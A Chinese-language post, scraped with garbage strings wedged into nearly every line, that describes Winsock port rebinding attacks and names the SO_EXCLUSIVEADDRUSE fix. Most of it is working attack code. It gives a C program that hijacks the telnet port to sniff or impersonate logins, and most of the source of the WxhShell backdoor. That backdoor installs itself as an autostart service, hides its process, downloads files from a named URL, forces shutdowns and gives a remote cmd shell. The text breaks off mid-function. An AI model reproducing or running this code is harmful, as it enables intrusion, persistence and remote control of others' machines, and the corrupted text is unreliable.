在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
njIvVs`q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U!Lws#\X o%dtf5}(, saddr.sin_family = AF_INET;
s"'1|^od QW!'A`*x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+vQyHo <ZocMv9gM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y}Ov`ZM!r E>ev /6ox 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u]}Xq{ZN rUyT5Vf 这意味着什么?意味着可以进行如下的攻击:
iZ58;` d ][E;$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y8P NO<myN+N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Fm@GU -uh/W=Q1R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
=?}'\
>G " CzK
X} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
H 95VU" 3B_S>0H"$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
iX,Qh2(ig Cjd +\7#G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{c$W-t):U| (cMrEuv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ubgq8@; MXhS\vF#m #include
UVUHLu|^ #include
E{FN sa #include
5Ph"*Rz% #include
L'c4i[~s DWORD WINAPI ClientThread(LPVOID lpParam);
2^juLXc|R int main()
z*R"917 {
<uAqb Wu WORD wVersionRequested;
<}e<Zf! DWORD ret;
FY
VcL* WSADATA wsaData;
-j(/5.a BOOL val;
.
E.OBn SOCKADDR_IN saddr;
aB$Y5 SOCKADDR_IN scaddr;
$k!t&G int err;
HezCRtxRcc SOCKET s;
FNZnz7 SOCKET sc;
a MzAA int caddsize;
f",B;C HANDLE mt;
rVz#;d!`z DWORD tid;
W}EO]A%f.\ wVersionRequested = MAKEWORD( 2, 2 );
2\7]EW err = WSAStartup( wVersionRequested, &wsaData );
63at
lq if ( err != 0 ) {
d29]R. printf("error!WSAStartup failed!\n");
2Ay2
G- return -1;
#$8tBo }
`a<G7 saddr.sin_family = AF_INET;
8sL7p4 ' rXkTm1{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Hiw{1E:rW )`L!eN saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B^KC~W saddr.sin_port = htons(23);
}+u<^7$g| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`OBDx ^6F {
)[/+j"F printf("error!socket failed!\n");
%T88K}?= return -1;
&<L+;k~P% }
vuD tEz
val = TRUE;
ptUnV3h //SO_REUSEADDR选项就是可以实现端口重绑定的
H1q>UU: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
d,$[633It} {
0C0iAp printf("error!setsockopt failed!\n");
cnI!}Bu return -1;
R(Z2DEt</ }
SA}]ZK P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'!Q[+@$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f\Pd#$3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
u dH7Q&" d]+g3oy
` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
cz.-cuD[iD {
3:S
Ex;d+ ret=GetLastError();
rU(N@i% printf("error!bind failed!\n");
\<V{6#Q= return -1;
vk{dL' }
.vwOp*3\ listen(s,2);
8sE@?, while(1)
tV%M2DxS {
84|Hn|4t caddsize = sizeof(scaddr);
t R*JM$T //接受连接请求
sgFpZk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N=-hXgX^ if(sc!=INVALID_SOCKET)
?. CA9!| {
yl)}1DPP mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
nIXq2TzJ if(mt==NULL)
Nqy',N {
(%\N-[yZ printf("Thread Creat Failed!\n");
QIGMP=!j break;
HlLF<k~} }
K+PzTGWq^ }
f |aO9w CloseHandle(mt);
~M+|g4W% }
oO!@s` closesocket(s);
fokOjTE WSACleanup();
<?QY\wyikz return 0;
qH$G_R#)8B }
#;>J<> DWORD WINAPI ClientThread(LPVOID lpParam)
ZA+$ZU^ {
j[9xF<I SOCKET ss = (SOCKET)lpParam;
EzwYqw SOCKET sc;
J7_'@zU unsigned char buf[4096];
eRv3qK{` SOCKADDR_IN saddr;
&A]*"lt|w long num;
i$$\}2m{L DWORD val;
rB)m{) DWORD ret;
I3p ~pt2 //如果是隐藏端口应用的话,可以在此处加一些判断
E~jNUTq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lD.PNwM saddr.sin_family = AF_INET;
&KX|gB' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ngn%"xYX saddr.sin_port = htons(23);
*~4w%U4T0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;"wU+ {
wlmi&kq printf("error!socket failed!\n");
'&'?
S return -1;
+7^{T:^ht }
&}wKC:LSP val = 100;
m},nKsO if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`{<2{}2M {
`N;u#z ret = GetLastError();
I?Hj,lN
return -1;
|C\g 3N- }
&X9#{:l= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
45>w=O {
's(0>i ret = GetLastError();
$BwWhR return -1;
wwmMpK}f }
2p8JqZMQb if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)j]S;Mr {
lD _
u printf("error!socket connect failed!\n");
QaUh+k<6 closesocket(sc);
Oh5(8.<y closesocket(ss);
#<MLW4P return -1;
?,;|*A }
--dGN.*xb4 while(1)
T<mk98CdE {
sbQmPV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qd%5[A //如果是嗅探内容的话,可以再此处进行内容分析和记录
-P!vCf^{
t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
7Z93`A-= num = recv(ss,buf,4096,0);
\b1I<4( if(num>0)
WIQt5=- send(sc,buf,num,0);
plv"/K JM else if(num==0)
U3&*,xeU@H break;
s[SzE6eQ`l num = recv(sc,buf,4096,0);
<xOpm8 if(num>0)
-$.$6"] send(ss,buf,num,0);
A!ba_14 else if(num==0)
?k<wI)JR break;
&YmOXKf7 }
|&o1i~Y closesocket(ss);
Z8}Zhe. closesocket(sc);
J3}^\k=p" return 0 ;
49@
pA- }
[64K?l0& Qo0okir !-|& ==========================================================
a+{YTR>0m VjMd&>G 下边附上一个代码,,WXhSHELL
GLv}|>W '_4u,
\SG ==========================================================
*$1*\oCtz +`yDW N?7 #include "stdafx.h"
@j9yc ~g;(`g #include <stdio.h>
S2*-UluG #include <string.h>
7Aq4YjbX #include <windows.h>
a^)7&|$ E #include <winsock2.h>
RCND|X #include <winsvc.h>
"Y7RvL!U #include <urlmon.h>
c_kxjzA# mucY+k1>g #pragma comment (lib, "Ws2_32.lib")
MztT/31S #pragma comment (lib, "urlmon.lib")
H_o<!YxK j0kEi+!TVq #define MAX_USER 100 // 最大客户端连接数
'355Pce/ #define BUF_SOCK 200 // sock buffer
"@$o'rfT #define KEY_BUFF 255 // 输入 buffer
q~;P^i<Y V.1sb
pI
#define REBOOT 0 // 重启
sog?Mvoq #define SHUTDOWN 1 // 关机
4:nmo@K&~ fdck/|`t #define DEF_PORT 5000 // 监听端口
tCI8\~ ~N>[7I"* #define REG_LEN 16 // 注册表键长度
x*}(l%[ #define SVC_LEN 80 // NT服务名长度
$QNfy.6Tn 0 -=onX // 从dll定义API
rQ30)5^V| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\%mR*J+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]m=* =LLC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|jEKUTv,G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(|(Y;%>-v QI0ARdS // wxhshell配置信息
!}l)okQH<# struct WSCFG {
pZlBpGQf int ws_port; // 监听端口
0 m";=:(w char ws_passstr[REG_LEN]; // 口令
/U N%P2>^1 int ws_autoins; // 安装标记, 1=yes 0=no
K{x<zv&, char ws_regname[REG_LEN]; // 注册表键名
d,8V-Dk+p char ws_svcname[REG_LEN]; // 服务名
yE{l
Xp; char ws_svcdisp[SVC_LEN]; // 服务显示名
MR#jI char ws_svcdesc[SVC_LEN]; // 服务描述信息
j<8_SD =, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#U"\v7C{n int ws_downexe; // 下载执行标记, 1=yes 0=no
v srce char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
o!sxfJKl char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m-, ' rnmWw# };
xDRK^nmC &{Uaa // default Wxhshell configuration
w{I60|C]* struct WSCFG wscfg={DEF_PORT,
X
H{5E4P "xuhuanlingzhe",
s
~(qO|d 1,
{Y`0} "Wxhshell",
kYPowM "Wxhshell",
03$Ay_2 "WxhShell Service",
B&-;w_K "Wrsky Windows CmdShell Service",
S4~^HvMG[Y "Please Input Your Password: ",
Wq&TbWR 1,
[GU!],Y "
http://www.wrsky.com/wxhshell.exe",
;#~rd8Z52 "Wxhshell.exe"
7:jSP$ };
V
[[B~Rs |+suGqo // 消息定义模块
h,TDNR<1L char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{;f`t3D char *msg_ws_prompt="\n\r? for help\n\r#>";
lJ}G"RTm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C\$7C5/ char *msg_ws_ext="\n\rExit.";
H# 2'\0u char *msg_ws_end="\n\rQuit.";
WVJN6YNd V char *msg_ws_boot="\n\rReboot...";
%#/7Tl: char *msg_ws_poff="\n\rShutdown...";
zh*NRN char *msg_ws_down="\n\rSave to ";
>]ZojdOl) sAnStS=> char *msg_ws_err="\n\rErr!";
A3C<9wXx char *msg_ws_ok="\n\rOK!";
KXicy_@DC` axXAy5 char ExeFile[MAX_PATH];
_$i9Tk int nUser = 0;
N@tzYD|hA HANDLE handles[MAX_USER];
5OpK~f5 int OsIsNt;
M={k4r_t 1G{$ B^
f SERVICE_STATUS serviceStatus;
]=@>;yP) SERVICE_STATUS_HANDLE hServiceStatusHandle;
i`Lt=)@& WXO@oZ! // 函数声明
%8S!l;\H5 int Install(void);
4V43(G int Uninstall(void);
VNXB7#ry int DownloadFile(char *sURL, SOCKET wsh);
uh: int Boot(int flag);
a l#yc void HideProc(void);
\iu2rat^ int GetOsVer(void);
<Ni]\-* int Wxhshell(SOCKET wsl);
D?X97jNm void TalkWithClient(void *cs);
L.+5`& int CmdShell(SOCKET sock);
Q'$aFl'NR int StartFromService(void);
5-=mtvA: int StartWxhshell(LPSTR lpCmdLine);
"b-6kM HbZ3QW P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N9,n/t VOID WINAPI NTServiceHandler( DWORD fdwControl );
9FJU'$FN ugUV`5w
// 数据结构和表定义
/+02BP SERVICE_TABLE_ENTRY DispatchTable[] =
e:NzpzI"v {
i&"I/!3Q@ {wscfg.ws_svcname, NTServiceMain},
)Cu"M#` {NULL, NULL}
o6B!ikz 8 };
E*rDwTd VpTp*[8O // 自我安装
d:<{!}BR3 int Install(void)
0~an\4nh {
V1#/+~ char svExeFile[MAX_PATH];
rpDH>Hzq HKEY key;
s{<rc> strcpy(svExeFile,ExeFile);
)oHIRsr w;>]L.n // 如果是win9x系统,修改注册表设为自启动
%<I0-o if(!OsIsNt) {
#l8CUg~Uj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ww)qBsi8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@f{)]I +f RegCloseKey(key);
U:YT>U1Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
) ,*&rd! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NWX~@Rg RegCloseKey(key);
}JrM!' return 0;
j G{xFz>x }
gt{ei)2b }
D[;6xJ }
|Q.?<T:wt= else {
AVyo)=& w;r -TLf // 如果是NT以上系统,安装为系统服务
B3XVhUP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/M B0%6m if (schSCManager!=0)
C+-~Gmrb(7 {
< ~x5{p SC_HANDLE schService = CreateService
NoZz3*j= (
_RY<-B
schSCManager,
7d'4"c;*; wscfg.ws_svcname,
HHa7Kh|-H wscfg.ws_svcdisp,
C=%go1! $ SERVICE_ALL_ACCESS,
"wexG]R=5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
P%B1dRa SERVICE_AUTO_START,
$T]1<3\G SERVICE_ERROR_NORMAL,
83;1L:}` svExeFile,
QF[9Zn NULL,
*~2jP;$ NULL,
<Hm:#<\ NULL,
2/?pI/W NULL,
-+Quw2465^ NULL
#BlH)Cv );
,MOB+i(3*u if (schService!=0)
McH*J j {
k 2;m"F CloseServiceHandle(schService);
wyAqrf CloseServiceHandle(schSCManager);
CcAsJX~_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
2MB\!fh strcat(svExeFile,wscfg.ws_svcname);
C'7W50b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?vf\_R'M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eQ9{J9)? RegCloseKey(key);
/x-Ja[kL return 0;
7b@EvW6X} }
|byB7f }
hO{@!H$l CloseServiceHandle(schSCManager);
#8nF8J<4 }
CdTmL{Y1 }
ecf<(Vl} !dVcnK1 return 1;
SL@Vk( }
h`3;^T >SfC '* 1 // 自我卸载
ZpI _/ int Uninstall(void)
V~e1CZ(2X {
8 _`Lx_R HKEY key;
1T}|c;fc G/<{:R" if(!OsIsNt) {
L[TL~@T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4Z]^v4vb RegDeleteValue(key,wscfg.ws_regname);
hn!$?Vo. RegCloseKey(key);
;CAB.aB~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8Bhot,u'T RegDeleteValue(key,wscfg.ws_regname);
jGt'S{ RegCloseKey(key);
@@ZcW<Y" return 0;
fjp>FVv3 }
m{+lG* }
IwWo-WN7. }
z^B!-FcIz> else {
6LvUi|~"< iCv &<C@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
bIWcL$}4Q if (schSCManager!=0)
:Q\h'$C {
/hI#6k8o_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
fCEd
:Kr if (schService!=0)
@ Cqg2 {
z$;%SYI if(DeleteService(schService)!=0) {
ch :428 CloseServiceHandle(schService);
|C-B=XE;3 CloseServiceHandle(schSCManager);
XTZWbhNF return 0;
xZ9y*Gv\= }
kN>d5q9b%X CloseServiceHandle(schService);
BAt2m- }
j&8 ~X2?* CloseServiceHandle(schSCManager);
B8a!"AQ~5 }
M6DyOe< }
L~ 1Lv? #3/l4`/j return 1;
}T(|\
X }
G]&:">&R 9lA YCsX // 从指定url下载文件
bk^ :6>{K int DownloadFile(char *sURL, SOCKET wsh)
luC',QJB {
+m>Kb edl HRESULT hr;
uVisU%p char seps[]= "/";
4r5,kOFWb char *token;
a o7|8[ char *file;
~r=TVHjqi char myURL[MAX_PATH];
*xLMs(gg char myFILE[MAX_PATH];
1bj75/i<6 W%1fm/G0 strcpy(myURL,sURL);
w;#9 hW& token=strtok(myURL,seps);
)k7`!@ID while(token!=NULL)
KCCS7l/ {
03rZz1 file=token;
9sT?"(= token=strtok(NULL,seps);
(Yw5X_|
}
'`3-X];p $B$=,^)3 GetCurrentDirectory(MAX_PATH,myFILE);
1/#N{rZ strcat(myFILE, "\\");
MGmtA( strcat(myFILE, file);
9:=a FP send(wsh,myFILE,strlen(myFILE),0);
J-\b?Ra send(wsh,"...",3,0);
8{d`N|k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
CZ&TUE|:DA if(hr==S_OK)
XriVHb return 0;
5<#H=A~( else
/pyKTZ| return 1;
LI
nN-b# 5T8!5EcS* }
\XB71DUF nt5 ~"8 // 系统电源模块
LRbevpZ, int Boot(int flag)
t*D[Q$v {
Z;n}*^U HANDLE hToken;
L>@6lhD)x TOKEN_PRIVILEGES tkp;
pH"LZ7)DI0 Rw.
Uz& if(OsIsNt) {
4&$G;?#W2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F_I! + LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
WQK#&r* tkp.PrivilegeCount = 1;
<B`=oO%o tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6,c,i;J_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wCI.jGSBW if(flag==REBOOT) {
liU=5BL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8KAyif@1:: return 0;
iT|+<h }
N[42al else {
)FHaJ*&d if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
lYZHM," return 0;
\|T0@V }
chiQ+ }
T+~~w'v0 else {
cAiIbh>c if(flag==REBOOT) {
JT:9"lmJz, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=)bZSb"<" return 0;
5w1=j\oq }
aFC3yMKXh else {
+HfjnEbtBs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
IC{>q3 return 0;
[&zP$i& }
Z,d/FC#y( }
.z{7
rH ]&9f:5', return 1;
RL&*.r& }
}U#S* H?aB8=) // win9x进程隐藏模块
r^
"mPgY void HideProc(void)
VyI%^S
]sS {
kQH!`-n:T F*NIs:3; HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
f5yd2wKy6 if ( hKernel != NULL )
gZPJZN/cpz {
%`}Qkb/Lyh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
rVN|OLh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
NuP@eeF>, FreeLibrary(hKernel);
;=n7 Z }
k5ZwGJ#r Tok"-$`N return;
^X_%e | }
~ h:^Q pa\]@;P1 // 获取操作系统版本
>*_?^F_ int GetOsVer(void)
L@2H>Lh35 {
leD?yyjw7 OSVERSIONINFO winfo;
r@!~l1$s` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|FcG$[ GetVersionEx(&winfo);
:7`,dyIqT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
G!Uq#l> return 1;
cfj6I else
v |i(peA# return 0;
+g.WO5A }
Z os~1N]3 TQEZ<B$ // 客户端句柄模块
i
9b^\&& int Wxhshell(SOCKET wsl)
kB8l`|
I {
l,/5$JGnk SOCKET wsh;
@
J"1!` struct sockaddr_in client;
z^oi15D|{ DWORD myID;
GV2}K
<s bX9}G#+U while(nUser<MAX_USER)
,sc>~B@Q {
$6J5yE int nSize=sizeof(client);
xp39TiXJ* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
kO5KZ;+N- if(wsh==INVALID_SOCKET) return 1;
wHY;Y-(ZT
r|#4+' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0P)c)x5 if(handles[nUser]==0)
gr7W&2x7\ closesocket(wsh);
wj?fr? else
7 yi >G nUser++;
Z2`e*c-[E }
6[CX[=P30 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
x##Iv|$ {<_}[} XY return 0;
|[: `izW }
$b8>SSz B]hZ4.B1 // 关闭 socket
x7/2e{p
uu void CloseIt(SOCKET wsh)
l p? h~ {
Z>{8FzP.F closesocket(wsh);
l9<+4rK2 nUser--;
[OT@gp: ExitThread(0);
d82IEhZ# }
R<wb8iir "W1 q}4_ // 客户端请求句柄
<oeHZD_OR void TalkWithClient(void *cs)
`P GWu1/ {
c8yD-U/- %bv<OMD SOCKET wsh=(SOCKET)cs;
[2
Rp.? char pwd[SVC_LEN];
YZnrGkQ char cmd[KEY_BUFF];
M35}5+ char chr[1];
Pq`4Y
K int i,j;
;ndg,05_ k"n#4o: while (nUser < MAX_USER) {
{1qEN_ERx {jv1hKTa if(wscfg.ws_passstr) {
(_W[~df4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
J=Jw"? f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-7yX>Hjl //ZeroMemory(pwd,KEY_BUFF);
0~-+5V i=0;
WpvH} l r} while(i<SVC_LEN) {
P]y5E9 k Mc\lzq8\ 1 // 设置超时
mhs%b4'> fd_set FdRead;
,CvU#ab8$ struct timeval TimeOut;
{=(4 FD_ZERO(&FdRead);
Ea3tF0{ FD_SET(wsh,&FdRead);
[Z[)hUXE? TimeOut.tv_sec=8;
0lBl5ke TimeOut.tv_usec=0;
=6 [!'K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
J^?O]| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o3`Z@-.G +\E\&^ZQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
gF:wdcO pwd
=chr[0]; ]>:>":<:
if(chr[0]==0xd || chr[0]==0xa) { Wd%j;glG
pwd=0; Isi,Tl ^
break; v(0vP}[Q7E
} 5<S1,u5
i++; ]:f1r8<3p
} .)o5o7H
a:8@:d1T K
// 如果是非法用户,关闭 socket sO*6F`eiZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rp|:$5&nE
} tF'67,~W
mHhm~u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O8lOr(|l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WRnUF[y+)
eFx*lYjA
while(1) { 0r@rXwz
kj[[78
ZeroMemory(cmd,KEY_BUFF); :Rq D0>1
[;b9'7j'
// 自动支持客户端 telnet标准 l==T3u
r
j=0; 1HZexV
while(j<KEY_BUFF) { *"4ltWS
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NfSe(rd
cmd[j]=chr[0]; }%}eyLm(
if(chr[0]==0xa || chr[0]==0xd) { ^hgpeu
cmd[j]=0; {<i!Pm
break; +I')>6
} ?,!qh
j++; d,>l;l
} {k)MC)%
Xak~He
// 下载文件 W}e5 4-lu
if(strstr(cmd,"http://")) { 9*x9sfCv9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); iGp@P=;m
if(DownloadFile(cmd,wsh)) $pD^O!I)?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z6Hl+nq B
else \0:l9;^4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zs4N0N{
} |?0C9
else { g,1\Gj%y
5n"'M&Ce
switch(cmd[0]) { 0lEIj/u
C{,nDa?|
// 帮助 ':fVb3A[*d
case '?': { mT9TSW}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r"4:aKF>
break; ]02V,'x
} D4S>Pkv
// 安装 sPhh#VCw{
case 'i': { *
5j iC
if(Install()) w,P2_xk`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~Ha68
else l^SKd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;+5eE`]a/L
break; 4}0s^>R
} Y/4B*>kl
// 卸载 )cvC9gt
case 'r': { .IgCC_C9
if(Uninstall()) *v&g>Ni
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ruA!+@or
else S |B7HS5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oZIoY*7IrQ
break; ;Z8K3p
} HID;~Ne
// 显示 wxhshell 所在路径 U>{z*D
case 'p': { \_+d*hHF~
char svExeFile[MAX_PATH]; =T+<>/[
strcpy(svExeFile,"\n\r"); K}*s^*X
strcat(svExeFile,ExeFile); @NNN&%
send(wsh,svExeFile,strlen(svExeFile),0); oEfKL`]B
break; Q2+e`
} =XqmFr;h
// 重启 9iGJYMWf
case 'b': { }3QEclZr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "d{ |_Cf
if(Boot(REBOOT)) ;8ugI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h>fY'r)DAx
else { R@ihN?k
closesocket(wsh); Bf8 #&]O
ExitThread(0); 9 /0<Z_b2
} zEa3a
break; [t>}M6?R:
} Y>IEB,w
// 关机 pvcD
61,
case 'd': { /9i2@#J}W1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XC~|{d
if(Boot(SHUTDOWN)) 9CxU:;3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8*lVO2
else { IY+P Yad
closesocket(wsh); HD$W\P
ExitThread(0); zsWYV n]
} 0>>tdd7
break; eAPGy-
} Z+E@B>D7A^
// 获取shell MsfY|(/m
case 's': { 8I`>tY
CmdShell(wsh); }ob#LC,
closesocket(wsh); /wKL"M-%
ExitThread(0); H71LJfH
break; tpU[KR[-
} &h')snp:#
// 退出 7]62=p2R
case 'x': { l7n c8K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7<=xc'*8t
CloseIt(wsh); R>yoMk/u
break; 5v6*.e'p
} 0M>+.}e+
// 离开 Nxp7/Nn3
case 'q': { bU7n1pzW,o
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5PqL#Eu`!
closesocket(wsh); Jt^a
WSACleanup(); [}|x@
v9
exit(1); RNiFLD%5
break; 3)3?/y)_
} JgEPzHgx
} `8/K+ e`
} 9'Le}`Gf
W9+H/T7!
// 提示信息 -XRn%4EX?
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eVGO6 2|!
} gY|f[M|
} 5<^$9('
V:s$V.{!
return; "wy|gnQJ
} %-1-y]R|
OX-t#R`
// shell模块句柄 }OL?k/w
int CmdShell(SOCKET sock) ,1&Pb %}
{ Q8.=w
STARTUPINFO si; 7@oM?r7td
ZeroMemory(&si,sizeof(si)); C9OEB6
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KPHtD4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;UUpkOQO(
PROCESS_INFORMATION ProcessInfo; 'guXdX]Gu
char cmdline[]="cmd"; A#k(0e!O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <hkSbJF
return 0; >>bsr#aJ
} JbX"K< nQ
[ICFPY6
// 自身启动模式 CiF(
int StartFromService(void)
!:Z
lVIA
{ }$%j} F{
typedef struct EmG':K(
{ SbLm
DWORD ExitStatus; RRRF/Z;))
DWORD PebBaseAddress; )SU\s+"M
